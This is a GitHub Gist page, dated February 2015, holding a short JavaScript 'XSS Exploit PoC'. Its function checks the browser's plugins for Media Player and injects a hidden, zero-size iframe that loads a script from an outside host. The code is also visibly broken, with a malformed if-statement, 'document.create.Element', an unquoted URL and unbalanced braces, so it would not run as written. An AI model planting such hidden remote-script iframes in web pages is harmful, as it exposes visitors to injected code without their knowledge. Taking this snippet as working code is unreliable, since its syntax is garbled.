Created
February 3, 2015 21:03
-
-
Save xsscx/741d8278c409d47a8c12 to your computer and use it in GitHub Desktop.
iFramer XSS Exploit PoC #2
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
============================================ | |
XSS Exploit PoC #2 | |
============================================ | |
function cx () { | |
try { | |
for (var i = 0; i < navigator.plugins.length; i++) { | |
if {name.indexOf("Media Player") != -1) { | |
var m = document.create.Element("iframe"); | |
m.setAttribute("src", http://xss.cx/xss.js:); | |
m.setAttribute("width", 0); | |
m.setAttribute("height", 0); | |
m.setAttribute("frameborder", 0); | |
document.body.appendChild(m); | |
} | |
} catch (e) { | |
} | |
cx(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment